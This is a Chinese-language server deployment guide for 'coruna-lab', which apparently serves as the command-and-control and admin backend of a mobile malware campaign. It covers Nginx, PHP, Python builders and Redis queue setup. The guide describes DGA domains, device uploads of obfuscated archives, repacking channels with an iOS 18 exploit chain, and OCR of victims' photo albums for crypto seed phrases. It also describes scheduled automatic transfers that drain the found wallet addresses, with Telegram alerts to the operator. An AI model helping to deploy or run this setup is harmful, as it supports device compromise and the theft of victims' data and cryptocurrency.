Files
2026-10-07 05:19:52 +08:00

807 lines
30 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 宝塔部署指南(coruna-lab + channel-builder + channel-builder-new)
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
| 构建器 | 路径 | 渠道 ID | 产物 |
| ---------------------------------------- | -------------------------------- | ------------------------ | ---------------------------------------------- |
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。旧版用 `CORUNA_CHANNEL_SEED`**(32-hex)** 作为全站共享 DGA seed(deployment === reporting)。
## 架构
| 角色 | 项目 / 路径 | 对外 | 进程 |
| --------------- | -------------------------------- | --------------------------- | --------------- |
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
```text
设备 / 运营
│
├─ Admin / C2 ──► coruna-lab/public (Laravel)
│ │
│ ├─ Process ──► channel-builder
│ │ → public/web|sync
│ │ → state: storage/app/channel-builder
│ │
│ └─ Process ──► channel-builder-new
│ → public/details/(共享模板)
│ → public/channel/<ver>/(每渠道独占)
│ → state: storage/app/channel-builder-new
│
├─ 旧静态:/web/<id>/… /sync/…
├─ 新静态:/channel/<ver>/… /details/…
├─ 新别名:/c/<ver>/show.htm → Nginx 静态 → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/(须带同一套落地页 location)
```
建议目录:
```text
/www/wwwroot/coruna-lab/
```
防火墙只放行 80/443。
---
## 0. 服务器准备
软件商店安装:
- Nginxphp artisan migrate
- MySQL 8.0
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
- Python 3.10+(系统或面板)
- Composer(建议 ≥ 2.2,见下文排错)
PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp**
系统包:`p7zip-full`(或等价)、`git`
### PHP 多版本
宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。
CLI 请显式使用对应二进制,例如:
```bash
/www/server/php/82/bin/php -v
/www/server/php/82/bin/php artisan migrate
```
扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。
### PHP 运行参数(FPM / 网站)
路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`)
建议:
```ini
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 600
max_input_time = 600
```
- `post_max_size` ≥ `upload_max_filesize`
- Admin 触发构建会同步等待 Python 脚本(旧版 / 新版均走同一超时),与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600)
- CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准
Nginx 站点配置建议同时加大:
```nginx
client_max_body_size 64m;
```
禁用函数:Composer / Laravel 需要 `putenv`;C2 解包和 **Trust UTC 解密(python scrypt)** 需要 `proc_open`。从 PHP「禁用函数」中移除 `putenv`、`proc_open`。系统 `python3` 自带 `hashlib.scrypt` 即可,不必另装 `pycryptodome`(有 builder venv 则优先用 venv)。
---
## 1. 部署两套 channel-builder(随 coruna-lab)
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。
### 1.1 旧版 `channel-builder`
```bash
cd /www/wwwroot/coruna-lab/channel-builder
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。
### 1.2 新版 `channel-builder-new`(xxbb / weifile)
```bash
cd /www/wwwroot/coruna-lab/channel-builder-new
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
```
依赖与旧版相同(`pycryptodome`、`py7zr`)。
产物与状态:
| 路径 | 作用 |
| ---------------------------------- | ------------------------------------------------------ |
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
创建新版渠道时 Laravel 会:
1. 用 `.env` 的 `XXBB_CHANNEL_C` 跑 `tools/build.py --apply --force`(**不会** random)
2. 再跑 `tools/pack_channel.py` 打进 `public/channel/<ver>/`
因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。
### 1.3 权限与静态路径(Admin 站点 Nginx)
```bash
# PHP-FPM 用户需能执行两套 .venv/bin/python,并写 public/ 与两套 state
chown -R www:www \
/www/wwwroot/coruna-lab/public \
/www/wwwroot/coruna-lab/storage
```
产物默认落在 **Laravel** `public/`,与 Admin 同站即可:
```text
# 旧版
https://admin.example.com/web/<32-hex>/support.html
https://admin.example.com/sync/daily.html
# 新版
https://admin.example.com/channel/<ver>/weifile/weifile.html
https://admin.example.com/channel/<ver>/details/
https://admin.example.com/details/… # 共享模板(native 按需拉)
https://admin.example.com/c/<ver>/show.htm # Nginx 静态别名 → channel/<ver>/details/show.html
```
在 **Admin 站和所有反代到同一** `public/` **的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
`root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。
```nginx
# —— 粘贴到「网站 → 设置 → 配置文件」,放在 location / 和 enable-php 之前 ——
# 禁止下载应用日志(即使 public/log 里还留着旧文件)
location ^~ /log/ {
deny all;
return 404;
}
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
location /sync/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=60";
}
# 新版:每渠道独占树(ver 形如 A.B.C1)
location ~ "^/channel/[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版共享 details 模板
location /details/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版落地别名(设备硬编码 18 字节路径 /c/{ver}/show.htm)
# 直接映射到 channel/{ver}/details/show.html,禁止进 PHP-FPM
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
types { }
default_type application/octet-stream;
add_header Cache-Control "public, max-age=60";
add_header Content-Type "application/octet-stream" always;
}
```
保存后:
```bash
nginx -t && nginx -s reload
```
用一个已存在的渠道 ID 验证(把 `0.0.01` 换成真实 `X.Y.ZZ`):
```bash
curl -sI https://你的投放域名/c/0.0.01/show.htm
```
应同时满足:
- HTTP 200
- `Content-Type: application/octet-stream`
- **没有** `X-Powered-By: PHP`
- `Cache-Control` 含 `max-age=60`
若仍看到 PHP,说明这段 location 没生效(写错站点、写在 `location /` 后面、或只改了 Admin 站没改 DGA 站)。Laravel 路由仍保留作本机 / 未配 Nginx 时的兜底,生产应以 Nginx 为准。
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要)
新版创建渠道前 `.env` 必须有共享 `c`。任选其一:
```bash
cd /www/wwwroot/coruna-lab
# 推荐:随机生成并写出共享产物
/www/server/php/82/bin/php artisan xxbb:build --random-c
# 输出含 XXBB_CHANNEL_C=… 与域名列表 → 写入 .env 后:
/www/server/php/82/bin/php artisan config:clear
# 或指定已有 c:
/www/server/php/82/bin/php artisan xxbb:build --channel-c=<32-hex>
```
等价手动:
```bash
cd /www/wwwroot/coruna-lab/channel-builder-new
.venv/bin/python tools/build.py --random-c --apply --force
# 或 --channel-c <32-hex>
```
注意:
- 部署后域名由 `c` 决定,**不要随意改** `XXBB_CHANNEL_C`,否则设备 DGA 与线上不一致
- 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c`
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
- 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/`
- 已有旧版渠道要吃上 support.html 路由 / `index.js`:`php artisan coruna:repack`(可先 `--dry-run`;也可指定 32-hex)。渠道 ID 不变,DGA seed 取自 `CORUNA_CHANNEL_SEED`,只覆盖 `public/web/{id}/`
---
## 2. 部署 coruna-lab
### 2.1 站点
新建站点(如 `admin.example.com`):
- 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`)
- PHP:8.2+
- 伪静态:Laravel
```nginx
location / {
try_files $uri $uri/ /index.php?$query_string;
}
```
### 2.2 Composer
需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。
```bash
# 若 /usr/bin/composer 过旧,安装新版本:
curl -sS https://getcomposer.org/installer \
| /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer
/www/server/php/82/bin/php /usr/local/bin/composer -V
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader
composer self-update
composer install --no-dev --optimize-autoloader
```
常见错误见文末「排错」。
### 2.3 环境与数据库
```bash
cp .env.example .env
# 编辑 .env(见下节)
/www/server/php/82/bin/php artisan key:generate # 仅首次;已有数据后不要再执行
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 宝塔创建 MySQL 库/用户后:
/www/server/php/82/bin/php artisan migrate --seed
```
默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。
### 2.4 `.env` 要点
```dotenv
APP_ENV=production
APP_DEBUG=false
APP_URL=https://admin.example.com
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=coruna
DB_USERNAME=...
DB_PASSWORD=...
ADMIN_USERNAME=admin
ADMIN_PASSWORD=改成强密码
# Session(HTTPS 单域名后台;DOMAIN 保持 null)
SESSION_DRIVER=file
SESSION_LIFETIME=120
SESSION_ENCRYPT=false
SESSION_PATH=/
SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 抗压:同机 4C8G 请装 Redis,把 cache/queue 从 file/sync 换掉(见 §2.6)
# CACHE_STORE=redis
# QUEUE_CONNECTION=redis
# REDIS_HOST=127.0.0.1
# REDIS_PORT=6379
CACHE_STORE=file
QUEUE_CONNECTION=sync
# 内嵌两套 builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
# CORUNA_CHANNEL_NEW_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder-new
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# 新版 xxbb 共享 DGA / 上报字段 c(32 hex)。必填才能后台创建「新版」渠道。
# 首次:php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
XXBB_CHANNEL_C=
# 旧版 channel-builder 共享 DGA seed(32 hex)。必填才能后台创建 / coruna:repack 旧版渠道。
# 已有环境:从 storage/app/channel-builder/lab_seeds.json 的 deployment_seed 抄过来。
CORUNA_CHANNEL_SEED=
# iptj PageVisit 与新版设备按 IP 关联窗口(分钟)
XXBB_VISIT_MATCH_MINUTES=30
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
CORUNA_REPORTING_DOMAINS=
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
TELEGRAM_BOT_TOKEN=
TELEGRAM_OWNER_CHAT_ID=
# 可选;设置后注册 webhook 时会带 secret_token
TELEGRAM_WEBHOOK_SECRET=
# 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example)
```
改 `.env` 后(**登录 / Session 依赖这一步**):
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
# 生产可再:
# /www/server/php/82/bin/php artisan config:cache
# /www/server/php/82/bin/php artisan route:cache
# /www/server/php/82/bin/php artisan view:cache
```
浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。
### 2.5 新版 builder 就绪(有新版渠道时)
在 `composer install` / `migrate` 之后、后台建新版渠道之前:
1. 已按 **§1.2** 装好 `channel-builder-new/.venv`
2. 按 **§1.4** 生成并写入 `XXBB_CHANNEL_C`
3. 确认:
```bash
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'
/www/server/php/82/bin/php artisan xxbb:build # 使用 .env 中的 XXBB_CHANNEL_C 刷新 /details
ls -la /www/wwwroot/coruna-lab/public/details
ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
```
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。未配置 `CORUNA_CHANNEL_SEED` 时,后台创建 / `coruna:repack` 旧版渠道会直接报错。
### 2.6 抗压(Redis / 队列 / PHP-FPM)
落地页按 §1.3 交给 Nginx 之后,`/statistic/t`、Telegram、自动转账和相册解压在 `QUEUE_CONNECTION=redis` 时走同一条队列。4C8G 同机请装 Redis,避免 file 缓存锁和同步出站 HTTP 占满 FPM。
1. 宝塔软件商店安装 **Redis**,确认 `127.0.0.1:6379` 可连。
2. PHP 8.2 安装 `redis` 扩展。
3. `.env`:
```dotenv
CACHE_STORE=redis
QUEUE_CONNECTION=redis
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
```
1. 改完后:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan migrate
/www/server/php/82/bin/php artisan config:clear
```
1. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
```text
名称: coruna-queue
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
说明: 只跑轻量任务(RecordPageHit / ScanDeviceNotes)。相册解压、Telegram、自动转账已拆到独立队列。
名称: coruna-telegram
启动命令: /www/server/php/82/bin/php artisan queue:work telegram --sleep=0 --tries=3 --timeout=30 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
说明: 延迟敏感的 Telegram 通知,独立队列,不会被相册/统计挤住。
名称: coruna-transfer
启动命令: /www/server/php/82/bin/php artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
说明: 自动/手动归集转账。--timeout=200 覆盖 AutoTransferAddress 的 $timeout=180。
名称: coruna-extract
启动命令: /www/server/php/82/bin/php artisan queue:work extract --sleep=1 --tries=1 --timeout=200 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
说明: 相册 7z 解压(量大、IO 重)。OCR 子任务由 MnemonicScanService 进一步 dispatch 到 ocr 队列,不在这里跑。
名称: coruna-keystore
启动命令: /www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
```
相册助记词 OCR 必须再加一条,**不要**和上面混跑(Tesseract 占满 1 核):
```text
名称: coruna-ocr
启动命令: /www/server/php/82/bin/php artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100
启动目录: /www/wwwroot/coruna-lab
进程数量: 3
```
机器上需安装 `tesseract` 及 `tesseract-ocr-eng`(助记词只跑英文)。`QUEUE_CONNECTION` 必须是 `redis`。4 核机器 OCR worker 用 2~3 个,不要和 `coruna-queue` 抢满 CPU。
> 切换 `QUEUE_CONNECTION` 后必须 `php artisan config:cache` 再 `php artisan queue:restart`,否则旧 worker 进程仍按启动时缓存的连接配置跑(曾导致 OCR 在 worker 内同步执行、ocr 队列空转)。
1. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
```ini
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 500
```
`max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。
1. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
### 2.7 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
Debian / Ubuntu(宝塔常见):
若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用:
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
apt install -y p7zip-full
command -v 7z
```
拷到项目(规避 `open_basedir`):
```bash
cd /www/wwwroot/coruna-lab
mkdir -p bin
cp "$(command -v 7z)" bin/7z
chmod +x bin/7z
```
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.8 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
```text
https://<APP_URL>/hooks/telegram
```
1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串)
2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径)
3. 确保站点已上 SSL,Telegram 能访问该 URL
4. 注册 webhook:
```bash
cd /www/wwwroot/coruna-lab
# 使用 APP_URL + /hooks/telegram
/www/server/php/82/bin/php artisan telegram:set-webhook
# 或显式指定:
/www/server/php/82/bin/php artisan telegram:set-webhook \
'https://admin.example.com/hooks/telegram'
```
成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。
更换域名或 token 后需重新执行本命令。
#### Bot 指令无响应 / `getWebhookInfo` 报 500
1. 看 Laravel 日志是否出现 `telegram webhook hit` / `telegram webhook failed`:
```bash
tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log
```
1. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`):
```bash
ls -la /www/wwwroot/coruna-lab/storage/logs/
# 宝塔常见:
tail -n 80 /www/wwwlogs/yxouw.cc.error.log
tail -n 80 /www/server/php/82/var/log/php-fpm.log
```
1. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新:
```bash
/www/server/php/82/bin/php artisan telegram:set-webhook
```
1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
---
## 3. 联调检查清单
1. 旧版:`channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
3. Admin 登录 `https://admin.example.com/admin/login`
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 由 Nginx 直接出(`curl -sI` 无 `X-Powered-By: PHP`)
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
8. `telegram:set-webhook` 成功;Bot 能收到指令
---
## 4. 日常运维
| 动作 | 命令 / 操作 |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。每分钟调度会跑 `coruna:link-mnemonics`(关联/推出可归集地址)和 `coruna:auto-transfer`;每 15 分钟 / 每天 00:10 跑 `coruna:daily-stats` 汇总每日报表。真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。
---
## 5. 排错摘要
### `mkdir(): Permission denied` at `Helpers.php` / `storage/logs`
C2 / 转账日志写在 **Web 根外** `storage/logs/{c2,xxbb,transfer,ds}/Ymd.log`。站点运行用户(宝塔多为 `www`)对 `storage` 无写权限时会报错。
```bash
cd /www/wwwroot/coruna-lab
mkdir -p storage/logs/c2 storage/logs/xxbb storage/logs/transfer
chown -R www:www storage bootstrap/cache
chmod -R ug+rwx storage bootstrap/cache
# 线上若还留着可下载的旧文件,删掉并在 Nginx 加上 location ^~ /log/ { deny all; }
rm -rf public/log
```
同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。
### Composer:`putenv()` undefined
PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。
### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2`
`/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。
**不要**用 `composer update`「修」这个问题——lock 本身通常没问题。
### Composer:缺少 `ext-gmp`
软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认:
```bash
/www/server/php/82/bin/php -m | grep -i gmp
```
### 后台构建失败:`Tips from BT security !!!` / `Killed` / `import py7zr`
`www` 跑 Python 被 **堡塔防入侵** 杀掉(系统加固还会把 `python3.10` / `*.so` 执行位扒掉)。PHP-FPM 建渠道也是 `www`,所以后台会同样失败。
1. 软件商店 → **堡塔防入侵** → 打开 `www` 的拦截记录,把下面路径加白(从拦截日志里复制「命令路径」,不要自己猜):
```text
/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
/usr/bin/python3.10
/usr/bin/python3
```
1. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。
2. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`:
```bash
sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")'
```
临时关掉防入侵能立刻验证是不是它在杀进程;验证完再开,靠白名单维持。不要用绕过手段躲拦截。
### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C`
按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
### 后台新建「旧版」渠道失败:`请先在 .env 配置 CORUNA_CHANNEL_SEED`
把现网 `storage/app/channel-builder/lab_seeds.json` 里的 `deployment_seed` 写入 `.env` 的 `CORUNA_CHANNEL_SEED`,再 `config:clear`。新环境可生成一份 32-hex 后写入(改 seed 会换 DGA 域名)。
### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python`
`.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径,而宝塔 `open_basedir` 通常只有项目根 + `/tmp`,于是报错。
处理(任选,建议 1+2):
1. `.env` 显式写上 Python(跳过探测;`proc_open` 执行软链通常仍可用):
```dotenv
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
```
```bash
/www/server/php/82/bin/php artisan config:clear
```
1. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
2. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
自检:
```bash
ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
# 常见:… -> /usr/bin/python3.10
```
### Nginx:`unknown directive "32}/(web|sync)/"`
location 正则未加引号,`{32}` 被当成配置块。改为:
```nginx
location ~ "^/web/[0-9a-f]{32}/" {
```
新版 `/channel/` 正则同理,花括号必须放在引号内。
### `apt` 因 gitlab-ce 源 404 失败
```bash
mv /etc/apt/sources.list.d/gitlab-ce.list \
/etc/apt/sources.list.d/gitlab-ce.list.disabled
apt update
```
### `cp "$(command -v 7z)"` 报 `cannot stat ''`
未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。
### CLI `max_execution_time => 0`
CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
### 后台登录 HTTP 444
**444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin`、`/user` 放行后再试。
### 后台登录方式(改造后)
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
- 失败限流:同一账号+IP 约 5 次 / 60 秒
- 可选 Google Authenticator:登录后「系统 → 谷歌验证」绑定
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
### 后台登录 HTTP 419(Page Expired)
请求已进 Laravel,多为 CSRF / Session。确认:
1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null`
2. 执行:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan config:clear
chown -R www:www storage/framework/sessions
chmod -R ug+rwx storage/framework/sessions
```
1. 浏览器清除该站 cookie 后重试
裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。
---